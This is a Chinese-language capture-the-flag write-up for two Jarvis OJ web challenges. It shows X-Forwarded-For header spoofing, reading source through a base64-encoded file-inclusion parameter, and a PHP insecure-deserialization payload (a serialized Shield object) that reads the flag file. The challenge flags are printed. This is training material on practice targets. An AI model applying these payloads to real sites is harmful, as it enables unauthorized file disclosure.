LOCALHOST
题目入口:http://web.jarvisoj.com:32774/
-
X-Forwarded-For Header插件修改IP
-
刷新
PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
神盾局的秘密
这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/
view source
<img src="[showimg.php?img=c2hpZWxkLmpwZw==]
-
打开
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==
分析: 从url可以发现,这是一个文件包含漏洞,而且文件名是base64加密的。
原生:img=c2hpZWxkLmpwZw==
解密:img=shield.jpg文件包含漏洞利用
- 查看showimg.php源码
view-source: http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
1. 要decode base64。
2. stripos() 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3...,/,\\,pctf,这些字符不能出现在img参数里
- 查看index.php源码
view-source: http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
1. 可以传递class参数
2. 反序列化传递的class参数
- require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。
-
serialize和unserialize函数
序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据。
- 利用文件包含漏洞,查看shield.php源码
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
-
打开pctf.php
http://web.jarvisoj.com:32768/pctf.php
FLAG: PCTF{I_4m_not_fl4g}
- I_4m_not_fl4g,这不是flag,很遗憾。回到考点:文件包含漏洞,继续查看pctf.php的源码。
view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=
File not found!
- 审计showimg.php源码发现:不能出现pctf字符
-->不能用showimg.php来读取pctf.php了
-->利用index.php来读取pctf.php,构造序列化参数class,反序列化class参数来new(实例化)Shield对象,再调用shield对象的readfile方法。
-->index.php 里的意思是对Shield('$class')反序列化了,所以我们要序列化Shield('pctf.php'),得到的参数才传入class中。 - 写个php脚本,用warmpserver搭建服务打开网址
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x=new Shield('pctf.php');
echo serialize($x);
?>
- 得到序列化Shield('pctf.php')参数
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
- view-source:http://web.jarvisoj.com:32768/index.php/?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
- PCTF{W3lcome_To_Shi3ld_secret_Ar3a}